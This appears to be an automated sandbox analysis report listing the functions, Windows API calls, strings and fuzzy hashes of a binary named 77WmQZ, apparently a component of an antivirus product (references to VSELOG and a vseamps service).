Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: CriticalSection$AddressEnterLeaveProc$LibraryLoadTimerWaitable
String ID: fnCallback: hScan=%d, evId=%d, context=%p$fnCallback: hScan=%d, putting event %d into listening threads queues$fnCallback: hScan=%d, quarantine, result %d
API String ID: 1322048431-2685357988
Opcode ID: 8f454d8f96427bc7f4d6fc52e9fe6703152659d2229fc404623004bd99a71f34
Instruction ID: ba1df9fb3c509f4e652456910b8147ac8aac6905a945631cefe2604201aedb7e
Opcode Fuzzy Hash: 8f454d8f96427bc7f4d6fc52e9fe6703152659d2229fc404623004bd99a71f34
Instruction Fuzzy Hash: 645106B5214B4181EB13CF16F880BD923A4E79DBE4F445622BB594B6B4DF3AC584C740

Function 0000000140003D50 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 75timeCOMMON

Download Yara Rule

APIs

#4.VSELOG(?,?,?,?,00000000,00000001400022A6), ref: 0000000140003D84
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,00000001400022A6), ref: 0000000140003DA3
#4.VSELOG(?,?,?,?,00000000,00000001400022A6), ref: 0000000140003E19
LeaveCriticalSection.KERNEL32(?,?,?,?,00000000,00000001400022A6), ref: 0000000140003E25
#4.VSELOG(?,?,?,?,00000000,00000001400022A6), ref: 0000000140003E66
SetWaitableTimer.KERNEL32 ref: 0000000140003EA6

Strings

doCleanup: enter, cAmpEntry %p, xrefs: 0000000140003D76
doCleanup: pid %d, marking the cAmpEntry pointer for deletion, xrefs: 0000000140003E58
doCleanup: pid %d, removing cAmpEntry, index is %d, xrefs: 0000000140003E08

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: CriticalSection$EnterLeaveTimerWaitable
String ID: doCleanup: enter, cAmpEntry %p$doCleanup: pid %d, marking the cAmpEntry pointer for deletion$doCleanup: pid %d, removing cAmpEntry, index is %d
API String ID: 2984211723-3002863673
Opcode ID: a738ef0df41c9c2085df25b69143ddd466836247f0acf0cab1fab4ffcf6577b7
Instruction ID: 6ce834a9fa2c46ab9e722fc1bcf1c858386cde021ca473021475461b430fce50
Opcode Fuzzy Hash: a738ef0df41c9c2085df25b69143ddd466836247f0acf0cab1fab4ffcf6577b7
Instruction Fuzzy Hash: 9B4101B5214A8591EB128F07F880B9863A4F78CBE4F495226FB1D0BBB4DB7AC591C710

Function 00000001400021A0 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 65COMMON

Download Yara Rule

APIs

#4.VSELOG ref: 00000001400021D4
OpenProcess.KERNEL32 ref: 00000001400021F7
#4.VSELOG ref: 000000014000223A
WaitForMultipleObjects.KERNEL32 ref: 000000014000224F
CloseHandle.KERNEL32 ref: 000000014000225A
#4.VSELOG ref: 0000000140002294

Strings

doMonitor: monitoring process id=%d, xrefs: 000000014000222C
fnMonitor: monitor thread for ctx %p, xrefs: 00000001400021C6
doMonitor: end process id=%d, result from WaitForMultipleObjects=%d, xrefs: 0000000140002283

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: CloseHandleMultipleObjectsOpenProcessWait
String ID: doMonitor: end process id=%d, result from WaitForMultipleObjects=%d$doMonitor: monitoring process id=%d$fnMonitor: monitor thread for ctx %p
API String ID: 678758403-4129911376
Opcode ID: 622955a85f652782e43c0e0864684ab55b88adcc3dc18936af4ab90c870e9f37
Instruction ID: f397f01a700ed75a1720fb106c04e764a2ecaef09c032a262f7e58a7780e1373
Opcode Fuzzy Hash: 622955a85f652782e43c0e0864684ab55b88adcc3dc18936af4ab90c870e9f37
Instruction Fuzzy Hash: B63107B6610A4582EB12DF57F84079963A4E78CBE4F498122FB1C0B7B4DF3AC585C710

Function 0000000140001750 Relevance: 15.1, APIs: 12, Instructions: 133memorystringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 0000000140001797
GetProcessHeap.KERNEL32 ref: 00000001400017A6
HeapAlloc.KERNEL32 ref: 00000001400017B4
lstrlenW.KERNEL32 ref: 00000001400017EC
GetProcessHeap.KERNEL32 ref: 00000001400017FB
HeapAlloc.KERNEL32 ref: 0000000140001809
lstrlenW.KERNEL32 ref: 000000014000183F
GetProcessHeap.KERNEL32 ref: 000000014000184E
HeapAlloc.KERNEL32 ref: 000000014000185C
lstrlenW.KERNEL32 ref: 000000014000188D
GetProcessHeap.KERNEL32 ref: 000000014000189C
HeapAlloc.KERNEL32 ref: 00000001400018AA

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: Heap$AllocProcesslstrlen
String ID:
API String ID: 3424473247-0
Opcode ID: c17ffa923c8182584db73c91a06df651023cf72d925272b18aed562ea20615b1
Instruction ID: a11592c0991bfac199573d0d609f53e0c1426f0a5ad78f28403dae96cf8670eb
Opcode Fuzzy Hash: c17ffa923c8182584db73c91a06df651023cf72d925272b18aed562ea20615b1
Instruction Fuzzy Hash: C8513AB6701640CAE666DFA3B84479A67E0F74DFC8F588428AF4E4B721DA38D155A700

Function 0000000140012C70 Relevance: 14.4, APIs: 4, Strings: 4, Instructions: 415COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0000000140011270: RtlLookupFunctionEntry.KERNEL32 ref: 00000001400112F1

__GetUnwindTryBlock.LIBCMT ref: 0000000140012CDD
__SetUnwindTryBlock.LIBCMT ref: 0000000140012D05
__GetUnwindTryBlock.LIBCMT ref: 0000000140012D15
_SetThrowImageBase.LIBCMT ref: 0000000140012DA6

Strings

csm, xrefs: 0000000140012D2F
csm, xrefs: 0000000140012DC1
csm, xrefs: 0000000140012E97
bad exception, xrefs: 0000000140012E4A

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: BlockUnwind$BaseEntryFunctionImageLookupThrow
String ID: bad exception$csm$csm$csm
API String ID: 3766904988-820278400
Opcode ID: 211ea14586251fca33d837236c8444fcda6bc332046b6eb3b50ec8ef4bad2153
Instruction ID: ec44bdd804db6766ea80e989845e9f4c5c79a3e5de674617e5e8a62493c248da
Opcode Fuzzy Hash: 211ea14586251fca33d837236c8444fcda6bc332046b6eb3b50ec8ef4bad2153
Instruction Fuzzy Hash: 2202C17220478086EB66DB27A4447EEB7A5F78DBC4F484425FF894BBAADB39C550C700

Function 0000000140004750 Relevance: 13.6, APIs: 9, Instructions: 80sleepCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0000000140004A0F
LeaveCriticalSection.KERNEL32 ref: 0000000140004A1D
WaitForMultipleObjects.KERNEL32 ref: 0000000140004A44
Sleep.KERNEL32 ref: 0000000140004A75
EnterCriticalSection.KERNEL32 ref: 0000000140004A7F
SetEvent.KERNEL32 ref: 0000000140004AC5
ResetEvent.KERNEL32 ref: 0000000140004ACF
LeaveCriticalSection.KERNEL32 ref: 0000000140004AD9
WaitForMultipleObjects.KERNEL32 ref: 0000000140004B0D

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: CriticalSection$EnterEventLeaveMultipleObjectsWait$ResetSleep
String ID:
API String ID: 2707001247-0
Opcode ID: 81fbcb92f811cf70c85be9260a27baa2b932eaa25df2b6e09ac4b98cba08ed51
Instruction ID: f9d573460b216e7eeefce72b36cf093424a31f8579033a03516ac6dab9ef0102
Opcode Fuzzy Hash: 81fbcb92f811cf70c85be9260a27baa2b932eaa25df2b6e09ac4b98cba08ed51
Instruction Fuzzy Hash: BC3159B6304A4492EB22DF22F44479AB360F749BE4F444121EB9E07AB4DF39D489C708

Function 00007FFE1A524804 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FFE1A524861

Part of subcall function 00007FFE1A526BC4: __GetUnwindTryBlock.LIBCMT ref: 00007FFE1A526C07
Part of subcall function 00007FFE1A526BC4: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FFE1A526C2C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FFE1A524939
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FFE1A524B87
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FFE1A524C94

Strings

csm, xrefs: 00007FFE1A52487B
csm, xrefs: 00007FFE1A5248E2
csm, xrefs: 00007FFE1A52495C

Memory Dump Source

Source File: 00000004.00000002.2181249235.00007FFE1A521000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000004.00000002.2181229221.00007FFE1A520000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181274188.00007FFE1A532000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181305705.00007FFE1A53D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181330612.00007FFE1A53F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe1a520000_77WmQZ.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: f1adb4ecd083bc80385bf1a1a2c543f93b0b2fb07cc426c5636c8daff4c8f18a
Instruction ID: 587515e885a66304fb8a4f04e0bf6ffd687003647ba4ab7ca66e7b04576a8f2d
Opcode Fuzzy Hash: f1adb4ecd083bc80385bf1a1a2c543f93b0b2fb07cc426c5636c8daff4c8f18a
Instruction Fuzzy Hash: 12D15F62B0CB41C6EB109BA694403BD7BB1FB46BA8F1041B7EA4D57B66CF38E495C700

Function 0000000140001690 Relevance: 12.5, APIs: 10, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000000014000169E
HeapFree.KERNEL32 ref: 00000001400016B0
GetProcessHeap.KERNEL32 ref: 00000001400016C0
HeapFree.KERNEL32 ref: 00000001400016D2
GetProcessHeap.KERNEL32 ref: 00000001400016E2
HeapFree.KERNEL32 ref: 00000001400016F4
GetProcessHeap.KERNEL32 ref: 0000000140001704
HeapFree.KERNEL32 ref: 0000000140001716
GetProcessHeap.KERNEL32 ref: 0000000140001726
HeapFree.KERNEL32 ref: 0000000140001738

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: d3d786e63681585cbf03c2d219a109844956a30e82e5544b8f66a627abd00fb2
Instruction ID: 4159c8d252e8bf7a629169213e0784b10943506046d671ff930a732f0a48acbb
Opcode Fuzzy Hash: d3d786e63681585cbf03c2d219a109844956a30e82e5544b8f66a627abd00fb2
Instruction Fuzzy Hash: EC1145B4915A4081F70BDF97B8187D522E2FB8DBD9F484025E70A4B2B0DF7E8499C601

Function 0000000140013710 Relevance: 12.5, APIs: 10, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000000014001371E
HeapFree.KERNEL32 ref: 0000000140013730
GetProcessHeap.KERNEL32 ref: 0000000140013740
HeapFree.KERNEL32 ref: 0000000140013752
GetProcessHeap.KERNEL32 ref: 0000000140013762
HeapFree.KERNEL32 ref: 0000000140013774
GetProcessHeap.KERNEL32 ref: 0000000140013784
HeapFree.KERNEL32 ref: 0000000140013796
GetProcessHeap.KERNEL32 ref: 00000001400137A6
HeapFree.KERNEL32 ref: 00000001400137B8

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 2b20d9b04266fb418ab88241afe0be8334b025a235c71ad7c61a809fe6dc3135
Instruction ID: 56b7ada565ecb083b5892330f511bf6cd885877ef2bee609f5ffef12e4ab2997
Opcode Fuzzy Hash: 2b20d9b04266fb418ab88241afe0be8334b025a235c71ad7c61a809fe6dc3135
Instruction Fuzzy Hash: E01172B4918A8081F71BDBA7B81C7D522E2FB8DBD9F444015E70A4B2F0DFBE8499C601

Function 00007FFE1A52B86C Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 00007FFE1A52B9E8
GetProcAddress.KERNEL32 ref: 00007FFE1A52B9F4

Strings

api-ms-, xrefs: 00007FFE1A52B932
ext-ms-, xrefs: 00007FFE1A52B945

Memory Dump Source

Source File: 00000004.00000002.2181249235.00007FFE1A521000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000004.00000002.2181229221.00007FFE1A520000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181274188.00007FFE1A532000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181305705.00007FFE1A53D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181330612.00007FFE1A53F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe1a520000_77WmQZ.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: d27e4f6126b13d6b256a918f8f190c41ea59ca19706b8a974bfb2f07ede01360
Instruction ID: def557fef170f9c471f5aadf7b0a5d38f428c88074dc9b5010b685b225645b19
Opcode Fuzzy Hash: d27e4f6126b13d6b256a918f8f190c41ea59ca19706b8a974bfb2f07ede01360
Instruction Fuzzy Hash: AF41E262B1DE0291EA168B57A8106BA2396BF46FB0F0A45B7DD0E477A4EF3CE445C300

Function 0000000140002A00 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 66registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32 ref: 0000000140002A3C
RegQueryValueExW.ADVAPI32 ref: 0000000140002A76
RegCloseKey.ADVAPI32 ref: 0000000140002A96
EnterCriticalSection.KERNEL32 ref: 0000000140002AAB
LeaveCriticalSection.KERNEL32 ref: 0000000140002B31

Strings

SYSTEM\CurrentControlSet\Services\vseamps\Parameters, xrefs: 0000000140002A0D
action, xrefs: 0000000140002A52

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: CriticalSection$CloseCreateEnterLeaveQueryValue
String ID: SYSTEM\CurrentControlSet\Services\vseamps\Parameters$action
API String ID: 1119674940-1966266597
Opcode ID: f3533de3366e7bda9e1b35d25a0c2c8c172dac4edddfecf2711061c5e43c3c9b
Instruction ID: f124d29d71956a548941c3df06686b2c3eef24402cfc23b06ee64cf3511db711
Opcode Fuzzy Hash: f3533de3366e7bda9e1b35d25a0c2c8c172dac4edddfecf2711061c5e43c3c9b
Instruction Fuzzy Hash: 6F31F975214B4186EB22CF26F884B9573A4F78D7A8F401315FBA94B6B4DF3AC148CB00

Function 0000000140001900 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 56memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 0000000140004BA0: lstrlenW.KERNEL32 ref: 0000000140004BE7
Part of subcall function 0000000140004BA0: GetProcessHeap.KERNEL32 ref: 0000000140004BF6
Part of subcall function 0000000140004BA0: HeapAlloc.KERNEL32 ref: 0000000140004C04
Part of subcall function 0000000140004BA0: lstrlenW.KERNEL32 ref: 0000000140004C3E
Part of subcall function 0000000140004BA0: GetProcessHeap.KERNEL32 ref: 0000000140004C4D
Part of subcall function 0000000140004BA0: HeapAlloc.KERNEL32 ref: 0000000140004C5B
Part of subcall function 0000000140004BA0: lstrlenW.KERNEL32 ref: 0000000140004C8E
Part of subcall function 0000000140004BA0: GetProcessHeap.KERNEL32 ref: 0000000140004C9D
Part of subcall function 0000000140004BA0: HeapAlloc.KERNEL32 ref: 0000000140004CAB

GetComputerNameW.KERNEL32 ref: 0000000140001991
lstrlenW.KERNEL32 ref: 000000014000199C
GetProcessHeap.KERNEL32 ref: 00000001400019AB
HeapAlloc.KERNEL32 ref: 00000001400019B9

Strings

ncalrpc, xrefs: 000000014000196D
ampIfEp, xrefs: 000000014000195E
Security=impersonation static true, xrefs: 0000000140001952

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: Heap$AllocProcesslstrlen$ComputerName
String ID: Security=impersonation static true$ampIfEp$ncalrpc
API String ID: 3702919091-996641649
Opcode ID: 625aae782f6e6c8352582bed456207495076f7317be3b5f58fd10a3b56526d44
Instruction ID: 080136972d91dcf489914e021d1613250a4fb989530f4420e20b1ceb3111c88a
Opcode Fuzzy Hash: 625aae782f6e6c8352582bed456207495076f7317be3b5f58fd10a3b56526d44
Instruction Fuzzy Hash: 4F212A71215B8082EB12CB12F84438A73A4F789BE8F514216EB9D07BB8DF7DC54ACB00

Function 000000014000F3E0 Relevance: 10.7, APIs: 7, Instructions: 179COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,00000001,?,00000000,?,?,?), ref: 000000014000F43A
GetCPInfo.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,00000001,?,00000000,?,?,?), ref: 000000014000F459
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,00000001,?,00000000,?,?,?), ref: 000000014000F4FF
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,00000001,?,00000000,?,?,?), ref: 000000014000F559
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,00000001,?,00000000,?,?,?), ref: 000000014000F592
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,00000001,?,00000000,?,?,?), ref: 000000014000F5CF
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,00000001,?,00000000,?,?,?), ref: 000000014000F60E

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: ByteCharMultiWide$Info
String ID:
API String ID: 1775632426-0
Opcode ID: 66d9eb7914d19e8cfe6722e8c0a791cb2122334676924f0ca9c1b8cdf3048d99
Instruction ID: 43b9ce706039119b05782f2693b3e997f7dca892eef84fff4304595f3d56aff3
Opcode Fuzzy Hash: 66d9eb7914d19e8cfe6722e8c0a791cb2122334676924f0ca9c1b8cdf3048d99
Instruction Fuzzy Hash: 266181B2200B808AE762DF23B8407AA66E5F74C7E8F548325BF6947BF4DB74C555A700

Function 00007FFE1A52712C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FFE1A5272EB,?,?,?,00007FFE1A523EC0,?,?,?,?,00007FFE1A523CFD), ref: 00007FFE1A5271B1
GetLastError.KERNEL32(?,?,?,00007FFE1A5272EB,?,?,?,00007FFE1A523EC0,?,?,?,?,00007FFE1A523CFD), ref: 00007FFE1A5271BF
LoadLibraryExW.KERNEL32(?,?,?,00007FFE1A5272EB,?,?,?,00007FFE1A523EC0,?,?,?,?,00007FFE1A523CFD), ref: 00007FFE1A5271E9
FreeLibrary.KERNEL32(?,?,?,00007FFE1A5272EB,?,?,?,00007FFE1A523EC0,?,?,?,?,00007FFE1A523CFD), ref: 00007FFE1A527257
GetProcAddress.KERNEL32(?,?,?,00007FFE1A5272EB,?,?,?,00007FFE1A523EC0,?,?,?,?,00007FFE1A523CFD), ref: 00007FFE1A527263

Strings

api-ms-, xrefs: 00007FFE1A5271D1

Memory Dump Source

Source File: 00000004.00000002.2181249235.00007FFE1A521000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000004.00000002.2181229221.00007FFE1A520000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181274188.00007FFE1A532000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181305705.00007FFE1A53D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181330612.00007FFE1A53F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe1a520000_77WmQZ.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: bd0a8d2a555e0ee16e973e96254fe36908eaf1a6b67fdf5dc890da79f6d47fff
Instruction ID: e9c2067340d38dfffc6a4d8dffa6020fc1a385bfdf0ac849e3cc1d9a11a6ac2c
Opcode Fuzzy Hash: bd0a8d2a555e0ee16e973e96254fe36908eaf1a6b67fdf5dc890da79f6d47fff
Instruction Fuzzy Hash: F1318121B1EE42D1FE16DB97A4005B96296BF4AFB0F5906B7ED1D067A0EF3CE445C200

Function 00007FFE1A529444 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FFE1A529453
FlsGetValue.KERNEL32 ref: 00007FFE1A529468
FlsSetValue.KERNEL32 ref: 00007FFE1A529489
FlsSetValue.KERNEL32 ref: 00007FFE1A5294B6
FlsSetValue.KERNEL32 ref: 00007FFE1A5294C7
FlsSetValue.KERNEL32 ref: 00007FFE1A5294D8
SetLastError.KERNEL32 ref: 00007FFE1A5294F3

Memory Dump Source

Source File: 00000004.00000002.2181249235.00007FFE1A521000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000004.00000002.2181229221.00007FFE1A520000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181274188.00007FFE1A532000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181305705.00007FFE1A53D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181330612.00007FFE1A53F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe1a520000_77WmQZ.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: bb16a7b3e3e618224ffaf8681bb99f7b7eedade10f219c40875930e32152d962
Instruction ID: 1c53399f5bd49a80ced011177b584d8f63c119a321399849bca5d0c58631b32f
Opcode Fuzzy Hash: bb16a7b3e3e618224ffaf8681bb99f7b7eedade10f219c40875930e32152d962
Instruction Fuzzy Hash: 8C214F20B0CE43CAF65563A3555113961636F86FF0F544BF7E92E467F6EE2CA4418280

Function 00007FFE1A530100 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FFE1A530131
GetLastError.KERNEL32 ref: 00007FFE1A53013D
CloseHandle.KERNEL32 ref: 00007FFE1A530155
CreateFileW.KERNEL32 ref: 00007FFE1A530180
WriteConsoleW.KERNEL32 ref: 00007FFE1A53019F

Strings

CONOUT$, xrefs: 00007FFE1A530161

Memory Dump Source

Source File: 00000004.00000002.2181249235.00007FFE1A521000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000004.00000002.2181229221.00007FFE1A520000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181274188.00007FFE1A532000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181305705.00007FFE1A53D000.00000004.00000001.01000000.00000008.sdmpDownload File
